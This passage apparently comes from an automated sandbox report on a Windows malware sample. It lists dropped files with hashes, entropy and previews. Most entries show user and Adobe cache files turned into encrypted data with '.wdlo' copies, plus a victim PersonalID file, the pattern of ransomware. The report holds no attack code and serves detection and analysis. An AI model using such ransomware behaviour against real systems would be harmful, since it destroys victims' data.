Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.3.4.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER962.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4544
Entropy (8bit):	4.43466182688311
Encrypted:	false
SSDEEP:	48:cvIwWl8zsBJg77aI9nEWpW8VY4Ym8M4JIVF6+q8c433ygkJ6kd:uIjfTI7Rd7VsJF8igBkd
MD5:	E0563DB60983E8E8C80BA1949E8922C7
SHA1:	85157E2FE386E16A7CF46A061755659E946AFD79
SHA-256:	3E60B4BAD0A9CFCD0D1BBDA0D8C7D34B5A5EA1B53F5E4A3B5B1F14ADA2FC8C92
SHA-512:	66A691A2949F0D4694CF92876BE740A7671649CFE0DF936308EC09342CFC1EA46A524C368FB772A17C7C0A54F2643A10FE4A5B0F72A00B848A31487A9B88F805
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="425714" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\SystemID\PersonalID.txt

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	5.0886296251082035
Encrypted:	false
SSDEEP:	3:UGBMOsdV5oljqGMzu:UbOsVolWbzu
MD5:	2C0919DC4D59DD87FF4A09DA22EA3E97
SHA1:	142A1B8D66FBC8DB7C5EF363806C14DDB45B99D0
SHA-256:	8768E12D0EDCB831F3259EBC93AEACE6112F250F91A266283139DD39C79CF675
SHA-512:	C9CA20176C7E558589F6CE4B7AAF6880D725EC66B6466694A561B438A0F039662E4F32F9277A507B71855E74D7780DED77EA136B1A2D24E477F77463385A8F24
Malicious:	false
Preview:	i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1..

C:\Users\user\.curlrc

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.263774072087392
Encrypted:	false
SSDEEP:	6:KWIGc55EtD37S8bDQf6OI3LQzj6WbhlxM/PVQb8/BDx3z0EOsVolWbz6Wcii96Z:NI55eLG8nQfhI3LQzj6wzotQbKBDxT3D
MD5:	E24AEC4A1A3EB85D07031A8DF066CC20
SHA1:	DBE6224B620869828621601A3754736DE1A90BC4
SHA-256:	FB5604108A150B7DB94624BCE887431535AA5E54E7622D796407246C0EE2932D
SHA-512:	5FB8EAD01E9E9A877C22DA6EE0D3000CC42FA7EE033DCD1D6C3CBD22C8009095C90EF083AED83030F7D782A4E7DA0FBF7AF2FE41A017F7F25BA468D0408D479E
Malicious:	false
Preview:	insec~m>.c..L.....%$.....g_....c....Fd..% S...SB^.ev]-.....V.m.{6n......o...ux.......j.B.-.. 6;.Qh...~z.,.+...v..a....hr...C..i*...?..>..@.0_.._.\|.j...0.q.Mi.'\..s....P....V.(..-..-.:....jZ)..\.........U...]... ..%...Z...../....8.OA.o...ou.U.O..#..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\.curlrc.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.263774072087392
Encrypted:	false
SSDEEP:	6:KWIGc55EtD37S8bDQf6OI3LQzj6WbhlxM/PVQb8/BDx3z0EOsVolWbz6Wcii96Z:NI55eLG8nQfhI3LQzj6wzotQbKBDxT3D
MD5:	E24AEC4A1A3EB85D07031A8DF066CC20
SHA1:	DBE6224B620869828621601A3754736DE1A90BC4
SHA-256:	FB5604108A150B7DB94624BCE887431535AA5E54E7622D796407246C0EE2932D
SHA-512:	5FB8EAD01E9E9A877C22DA6EE0D3000CC42FA7EE033DCD1D6C3CBD22C8009095C90EF083AED83030F7D782A4E7DA0FBF7AF2FE41A017F7F25BA468D0408D479E
Malicious:	false
Preview:	insec~m>.c..L.....%$.....g_....c....Fd..% S...SB^.ev]-.....V.m.{6n......o...ux.......j.B.-.. 6;.Qh...~z.,.+...v..a....hr...C..i*...?..>..@.0_.._.\|.j...0.q.Mi.'\..s....P....V.(..-..-.:....jZ)..\.........U...]... ..%...Z...../....8.OA.o...ou.U.O..#..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	625
Entropy (8bit):	7.615993156965276
Encrypted:	false
SSDEEP:	12:kNJwdCp0y08P+r3GYkuLbq3KDKWTtr47srGZLLhNb5yQ2TZe7u7oqY36Wcii9a:eSyuGu/2KeyWH1b5kZT7FY3zbD
MD5:	D8A17BE38604FE2CB3B9EEE74F824EEE
SHA1:	957EB881D70C2C9E3B32F176B53AB8BB1405BF48
SHA-256:	AFB58F6EE191B71E2854CE80EAD2322FE635649C9A2AC0810DC7F2523169CA95
SHA-512:	3F6B235BB32420EE568DF6CB48FE9AE9B025E189AD4C71C62D4915C224114474F272EE755D4D7E602F1446228389EC8291AE77C3F24F9191E5A153C130898BC7
Malicious:	false
Preview:	2023/+.:l^.t..QEg.....j.t.#fJ....@.H...xg.....K.4.g.R.]D*/~..7K...~..pK....../.E....-....a.....'.2tL.....\|5._6.b...Qb\J.N..Zh..z..KZ...#^.mh..-(n7....t..(3.hQ.yC.r{..[.......c..[.....2.O`...~.=..^J..w.F..A.6...S)..)...c.....Y.........x?a...R.]....v.....S.r._BAV...'3[..A..T0...l{......5$...9.......2..Uw...?b....84..N8....Z-.0....:.....\..L.jt.....W,.f.n1.....@..d...7@...).[.fI.o.H...v2w....Q.z...W.#t...$.H\...c.....z.L.....{......l....E..pa.5.7.Wn=...F...nov..%..604..\~cC..tT...^ .y...g!,.{S...Y....WI.:.uh....-..\P..1i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old.wdlo (copy)

Download File

Process:	C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	625
Entropy (8bit):	7.615993156965276
Encrypted:	false
SSDEEP:	12:kNJwdCp0y08P+r3GYkuLbq3KDKWTtr47srGZLLhNb5yQ2TZe7u7oqY36Wcii9a:eSyuGu/2KeyWH1b5kZT7FY3zbD
MD5:	D8A17BE38604FE2CB3B9EEE74F824EEE
SHA1:	957EB881D70C2C9E3B32F176B53AB8BB1405BF48
SHA-256:	AFB58F6EE191B71E2854CE80EAD2322FE635649C9A2AC0810DC7F2523169CA95
SHA-512:	3F6B235BB32420EE568DF6CB48FE9AE9B025E189AD4C71C62D4915C224114474F272EE755D4D7E602F1446228389EC8291AE77C3F24F9191E5A153C130898BC7
Malicious:	false
Preview:	2023/+.:l^.t..QEg.....j.t.#fJ....@.H...xg.....K.4.g.R.]D*/~..7K...~..pK....../.E....-....a.....'.2tL.....\|5._6.b...Qb\J.N..Zh..z..KZ...#^.mh..-(n7....t..(3.hQ.yC.r{..[.......c..[.....2.O`...~.=..^J..w.F..A.6...S)..)...c.....Y.........x?a...R.]....v.....S.r._BAV...'3[..A..T0...l{......5$...9.......2..Uw...?b....84..N8....Z-.0....:.....\..L.jt.....W,.f.n1.....@..d...7@...).[.fI.o.H...v2w....Q.z...W.#t...$.H\...c.....z.L.....{......l....E..pa.5.7.Wn=...F...nov..%..604..\~cC..tT...^ .y...g!,.{S...Y....WI.:.uh....-..\P..1i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	672
Entropy (8bit):	7.6607609665973
Encrypted:	false
SSDEEP:	12:kYFX55X0OprVJ5BXKrHTkUbxgqAd9hO42VmnF2qs7zBFvuZAnizqhJgAqNY836WX:dXXdDJ5BXSAUtgqAd9hOpmnFMF+AiGGN
MD5:	53F4FC0000DBFD6155A4A5AC3328541E
SHA1:	619A57151837B37310BFA75E447DA393B8B610FD
SHA-256:	9773F9F9E301540285A785C8911D86D82043175C9706A5861A4ED5BB82FA462E
SHA-512:	E181D45CFFE762B9C9A2D44696219E3BDE1702E08196519D5732F60929B719D74D23EEBF332196E7AB5187672015D6636ED4EFCB900FAD29FBA41C67F72540F7
Malicious:	false
Preview:	2023/O#.......S.J..u.0~....Mo.m...v..\|..........z];(.fg.6..e..Q.....M.:...x....7.{4&.H....6<...q........7..\...uN..w.i._.6Qb._..J,q.......z....W.z7.....y.z.\K..UJ.q....u[....2$...m...S+...JH...a.....0..w....B...>..af\..gz....BR.P..F........:.v.N...b.L^..M8.....&...h..pr..W..M...Y.....So{....]C.1..~.%#............&.<..8.v.5^..i<.b_..q...3.,!\.m..........A<{..... Mx;n.?.IU.G.`Nm.kTu...BC.4. ...<.a.W.k...h...8A.p...k.C.......tZ\|.f..j..b.P..B....\|..n.O.....=.=.P.!.n.W2.(.....=i..WD...P.4...m.I.P..U'...f.....h.R....=f........s.......;#.[;5k...>1(...yK....?..+D.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old.wdlo (copy)

Download File

Process:	C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	672
Entropy (8bit):	7.6607609665973
Encrypted:	false
SSDEEP:	12:kYFX55X0OprVJ5BXKrHTkUbxgqAd9hO42VmnF2qs7zBFvuZAnizqhJgAqNY836WX:dXXdDJ5BXSAUtgqAd9hOpmnFMF+AiGGN
MD5:	53F4FC0000DBFD6155A4A5AC3328541E
SHA1:	619A57151837B37310BFA75E447DA393B8B610FD
SHA-256:	9773F9F9E301540285A785C8911D86D82043175C9706A5861A4ED5BB82FA462E
SHA-512:	E181D45CFFE762B9C9A2D44696219E3BDE1702E08196519D5732F60929B719D74D23EEBF332196E7AB5187672015D6636ED4EFCB900FAD29FBA41C67F72540F7
Malicious:	false
Preview:	2023/O#.......S.J..u.0~....Mo.m...v..\|..........z];(.fg.6..e..Q.....M.:...x....7.{4&.H....6<...q........7..\...uN..w.i._.6Qb._..J,q.......z....W.z7.....y.z.\K..UJ.q....u[....2$...m...S+...JH...a.....0..w....B...>..af\..gz....BR.P..F........:.v.N...b.L^..M8.....&...h..pr..W..M...Y.....So{....]C.1..~.%#............&.<..8.v.5^..i<.b_..q...3.,!\.m..........A<{..... Mx;n.?.IU.G.`Nm.kTu...BC.4. ...<.a.W.k...h...8A.p...k.C.......tZ\|.f..j..b.P..B....\|..n.O.....=.=.P.!.n.W2.(.....=i..WD...P.4...m.I.P..U'...f.....h.R....=f........s.......;#.[;5k...>1(...yK....?..+D.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json

Download File

Process:	C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.703896275184595
Encrypted:	false
SSDEEP:	24:YKWkRz5TYpidOrl3Zx873WLfokQ1pOn5qS6th3zbD:YSRzfdO873EjQ1pOn5qS6th3nD
MD5:	3E3F7414BD33C499AA018332B8B04487
SHA1:	FAD45C66E5FC85D9020833F181617C7A978DCCE9
SHA-256:	3DE4E540831CD1262886E7B85B349A8711952C0A4CF0DEF7880BAE1710A2C511
SHA-512:	24FF544CBFED29823F0125F90178DFECBD5D8119087C5044537FFB94938D5E7B9E5B1FECDBA38CC09EA3377B8E3024C6F7F1CAEF525B943F4812AEC891410A0C
Malicious:	false
Preview:	{"os_3.G..'....hO2...me..A.f#.....qZ.f...eV..W....3......3.....\|.....v..F#(a._a..i..Fo.aZ.\|a.N..T...U>,.g......l~..V4.......?^..'.....w.s.Z...B+\..~..l_.".w.^O2...TK...U.....-.J.wA...TM..S....Y.$.H=..=..A0Mb.......U......T..V.v....<.1...HWb.[..~5.s....<.)hyB......Si6....R.7%......\|.O.<.;.6=Bu....2.".RP........!nyMV...'..4..1..;..Cnx..B.z`Nf.....p.k...E.Rcr.;V4...d/..k}.5.N.....%U.'.@8..s...S/..1#..a...8=.6.u..j....W..<z.V(U.B.S.vJ"...`.0z.......p.A;\|T.I..86!i.........'.'.v{2.y=...h.....z...j....4.%iZ]k....<.s...sN.z..07...... ...K$.L..........q.h...\.......z>+...s8.._.cI....\.c..6...r.1......J...l.>........k.j............3...`A/...\........C.B.._..K.s.@...d{..i............8.-d../..'.6.k.^i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json.wdlo (copy)

Download File

Process:	C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.703896275184595
Encrypted:	false
SSDEEP:	24:YKWkRz5TYpidOrl3Zx873WLfokQ1pOn5qS6th3zbD:YSRzfdO873EjQ1pOn5qS6th3nD
MD5:	3E3F7414BD33C499AA018332B8B04487
SHA1:	FAD45C66E5FC85D9020833F181617C7A978DCCE9
SHA-256:	3DE4E540831CD1262886E7B85B349A8711952C0A4CF0DEF7880BAE1710A2C511
SHA-512:	24FF544CBFED29823F0125F90178DFECBD5D8119087C5044537FFB94938D5E7B9E5B1FECDBA38CC09EA3377B8E3024C6F7F1CAEF525B943F4812AEC891410A0C
Malicious:	false
Preview:	{"os_3.G..'....hO2...me..A.f#.....qZ.f...eV..W....3......3.....\|.....v..F#(a._a..i..Fo.aZ.\|a.N..T...U>,.g......l~..V4.......?^..'.....w.s.Z...B+\..~..l_.".w.^O2...TK...U.....-.J.wA...TM..S....Y.$.H=..=..A0Mb.......U......T..V.v....<.1...HWb.[..~5.s....<.)hyB......Si6....R.7%......\|.O.<.;.6=Bu....2.".RP........!nyMV...'..4..1..;..Cnx..B.z`Nf.....p.k...E.Rcr.;V4...d/..k}.5.N.....%U.'.@8..s...S/..1#..a...8=.6.u..j....W..<z.V(U.B.S.vJ"...`.0z.......p.A;\|T.I..86!i.........'.'.v{2.y=...h.....z...j....4.%iZ]k....<.s...sN.z..07...... ...K$.L..........q.h...\.......z>+...s8.._.cI....\.c..6...r.1......J...l.>........k.j............3...`A/...\........C.B.._..K.s.@...d{..i............8.-d../..'.6.k.^i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	3726
Entropy (8bit):	7.952381761864343
Encrypted:	false
SSDEEP:	96:RGLfBy/ai/4cqrY5wgh8Hv/D6wYV9aIazHXO99:RGTB0RqM5wg6XDso3O/
MD5:	6DB509CFE75741303D59B401E5A1239E
SHA1:	7BB01C322BB4B8EBE2FCA80AFD601474389B3120
SHA-256:	5E1F43DED7C2BDFA561DA0D6090029BD8A0CFA5C570C278EFC7850E99E33DC5E
SHA-512:	1A08A525347B30D3D77FBA57506A6A6B788FE3EF0CFCA9FB10152B5F15321E0D295C24560E120083F4B6741E86334DB56AE4D5697ED9E21B1B10DB8ED0E5C40A
Malicious:	false
Preview:	...#..D.m.T~!.....9{m.A:!.........[..`..B...,oU..L.pu...5.>....~........a....RT .:..t..B~a)..[.G.....1KK=.4...Y...&&N...G.3.....=...$...H.....,..Mh.:b..4rMA.'p.....5........5\]#.XF..?.a........M.'.E.w5a.c.D...:.l;..6tK....7.-:&W.].}.YX[d....Y@._.k..`..>.2dk.Q"~QRe.........)......N..>..K..z?Pd...4k.>.z?_.&.q.)..+..p~.n.F ....,...F...J..2....2=.[..s37......t..+.X.9:..,.ji.{N.`.g/...(.O.y4.(....Sf...D..Y.(.u..R<.F........a....p...;N.>.p.....C(......Q..<f..".....l...b..8{.% kw.\..y.^........{...d. .V..t........9.. .......x....z..]5...1.d...C.....Oe..b(t}...}B{4..1X.....A8.S...O..1#.ZC6..\.lr.U.<....".._A....G..X......K.C....y..[d.7....6.N....>y./.../5.e../.%(.....&..cw....[.R..&..:..e}-......N5...R6..+.4..).FA.c`.r-.O.+^..~.++.X........B..K4......on.....q..)f..".\6..-..3.(P........V.@.o..se k..3..b....f..IF...}..........7..p.?. .....T..kV.=0.2<..........C[/.%.*G..Dv.R.~.....Q:...`...v.4....a]j.K..\|.......".1.f.....:.S.S\.n.Lq.+...

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log.wdlo (copy)

Download File

Process:	C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	3726
Entropy (8bit):	7.952381761864343
Encrypted:	false
SSDEEP:	96:RGLfBy/ai/4cqrY5wgh8Hv/D6wYV9aIazHXO99:RGTB0RqM5wg6XDso3O/
MD5:	6DB509CFE75741303D59B401E5A1239E
SHA1:	7BB01C322BB4B8EBE2FCA80AFD601474389B3120
SHA-256:	5E1F43DED7C2BDFA561DA0D6090029BD8A0CFA5C570C278EFC7850E99E33DC5E
SHA-512:	1A08A525347B30D3D77FBA57506A6A6B788FE3EF0CFCA9FB10152B5F15321E0D295C24560E120083F4B6741E86334DB56AE4D5697ED9E21B1B10DB8ED0E5C40A
Malicious:	false
Preview:	...#..D.m.T~!.....9{m.A:!.........[..`..B...,oU..L.pu...5.>....~........a....RT .:..t..B~a)..[.G.....1KK=.4...Y...&&N...G.3.....=...$...H.....,..Mh.:b..4rMA.'p.....5........5\]#.XF..?.a........M.'.E.w5a.c.D...:.l;..6tK....7.-:&W.].}.YX[d....Y@._.k..`..>.2dk.Q"~QRe.........)......N..>..K..z?Pd...4k.>.z?_.&.q.)..+..p~.n.F ....,...F...J..2....2=.[..s37......t..+.X.9:..,.ji.{N.`.g/...(.O.y4.(....Sf...D..Y.(.u..R<.F........a....p...;N.>.p.....C(......Q..<f..".....l...b..8{.% kw.\..y.^........{...d. .V..t........9.. .......x....z..]5...1.d...C.....Oe..b(t}...}B{4..1X.....A8.S...O..1#.ZC6..\.lr.U.<....".._A....G..X......K.C....y..[d.7....6.N....>y./.../5.e../.%(.....&..cw....[.R..&..:..e}-......N5...R6..+.4..).FA.c`.r-.O.+^..~.++.X........B..K4......on.....q..)f..".\6..-..3.(P........V.@.o..se k..3..b....f..IF...}..........7..p.?. .....T..kV.=0.2<..........C[/.%.*G..Dv.R.~.....Q:...`...v.4....a]j.K..\|.......".1.f.....:.S.S\.n.Lq.+...

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	660
Entropy (8bit):	7.693184669239801
Encrypted:	false
SSDEEP:	12:kWYpnZl6se5Yox/VHXiO15dzecv8Wz7Hos5hVr3Rka36Wcii9a:Anb8YorSO15AK8av5Hya3zbD
MD5:	85ED4946CCAB4F3EE2CA243961CB1353
SHA1:	28D3BFB6EC4F8D0C0B3E94F08E0A7903B28FF363
SHA-256:	5E9D725137B5C015D7C6D8C8A39BB86C97EE7E814F3D4950FD164538183EB93A
SHA-512:	21599C623A3AF8BAB1DC991E4343B96073CCAC986CDBFB88D8CFABE16C7409E5CF5D7AE5584A8FC83CB2CC8F90F0CF577EF80BDB9C51CB688CE71F061CDAEAAA
Malicious:	false
Preview:	2023/S!.L....s..{rj...k..z...w#g=..9!.]..6.28@...~w......D.q.....>.,.c.3...J......./O.T.U..hk..A..s{...l.LeH.B1....~..q. ...y....,.}...UU.p..Z.._...=rOQ.U]<.....<r"....a.)...[..Ux.BZ... ..\...%.2...F.Zg......c.......,D.qb9.m. ..+.V.4....G).....W.l`...o.R{...O......t.PG....R.C.n-;1.C.eQf.`....5..##-.Z....YT........p.....g.{..j...8{....j.~?2..k.?.p.,..~.........L.K........r.........e..B..s(^"Hb..G....[........2?k.N...s.v.?..N....4?f...t...K..h.duQr!..........A.H.RO..vz....,:?.._.p..W%To.......Y! >.z...Q......\....3..z._^....,.....9...t.......i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old.wdlo (copy)

Download File

Process:	C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	660
Entropy (8bit):	7.693184669239801
Encrypted:	false
SSDEEP:	12:kWYpnZl6se5Yox/VHXiO15dzecv8Wz7Hos5hVr3Rka36Wcii9a:Anb8YorSO15AK8av5Hya3zbD
MD5:	85ED4946CCAB4F3EE2CA243961CB1353
SHA1:	28D3BFB6EC4F8D0C0B3E94F08E0A7903B28FF363
SHA-256:	5E9D725137B5C015D7C6D8C8A39BB86C97EE7E814F3D4950FD164538183EB93A
SHA-512:	21599C623A3AF8BAB1DC991E4343B96073CCAC986CDBFB88D8CFABE16C7409E5CF5D7AE5584A8FC83CB2CC8F90F0CF577EF80BDB9C51CB688CE71F061CDAEAAA
Malicious:	false
Preview:	2023/S!.L....s..{rj...k..z...w#g=..9!.]..6.28@...~w......D.q.....>.,.c.3...J......./O.T.U..hk..A..s{...l.LeH.B1....~..q. ...y....,.}...UU.p..Z.._...=rOQ.U]<.....<r"....a.)...[..Ux.BZ... ..\...%.2...F.Zg......c.......,D.qb9.m. ..+.V.4....G).....W.l`...o.R{...O......t.PG....R.C.n-;1.C.eQf.`....5..##-.Z....YT........p.....g.{..j...8{....j.~?2..k.?.p.,..~.........L.K........r.........e..B..s(^"Hb..G....[........2?k.N...s.v.?..N....4?f...t...K..h.duQr!..........A.H.RO..vz....,:?.._.p..W%To.......Y! >.z...Q......\....3..z._^....,.....9...t.......i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	440
Entropy (8bit):	7.480469326476898
Encrypted:	false
SSDEEP:	6:/HVO4cU5K+Owoo57dATn570v64AofL4mLSiBtkGXRv1BJ1z5y4qpUWNFOsVolWbf:kfo5ZMnY63oVWAtkG7DyYg36Wcii9a
MD5:	B45E49FF464F340CBFCC0A2EC1E6BFE5
SHA1:	D89C14445D804A58C920483267793DE197ED4986
SHA-256:	7C0417E39F452A2945D097443FFB071E6DC9FA68FB5C733C222D1B177FC7B523
SHA-512:	8298F3B230325127EA25D8C65DA213D31788A876E00C368F476B31D67509C803CA1048E17750C8840A9B5C4709E49324DB809220BF96320E84140B038AAC550E
Malicious:	false
Preview:	..} ...3..Mz.h....@.-eP....F.\.....}.8.._....s.......{~..).5(z;...6...t....Y0..=.....S.9...........o.%:e.....h......NE....wn.........k....D%..{..q..?.5...{R..I.....+?=.."wp..>.......?..}Ry...]n=..\....g..!}...]....S.2v.J........T(9.r.S.rX.=....KZ.....TL.K...1m[.....6..[..-...E.8.._;n...v%..a......f..O:...c&......R...~.Y...".\v.+....i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log.wdlo (copy)

Download File

Process:	C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	440
Entropy (8bit):	7.480469326476898
Encrypted:	false
SSDEEP:	6:/HVO4cU5K+Owoo57dATn570v64AofL4mLSiBtkGXRv1BJ1z5y4qpUWNFOsVolWbf:kfo5ZMnY63oVWAtkG7DyYg36Wcii9a
MD5:	B45E49FF464F340CBFCC0A2EC1E6BFE5
SHA1:	D89C14445D804A58C920483267793DE197ED4986
SHA-256:	7C0417E39F452A2945D097443FFB071E6DC9FA68FB5C733C222D1B177FC7B523
SHA-512:	8298F3B230325127EA25D8C65DA213D31788A876E00C368F476B31D67509C803CA1048E17750C8840A9B5C4709E49324DB809220BF96320E84140B038AAC550E
Malicious:	false
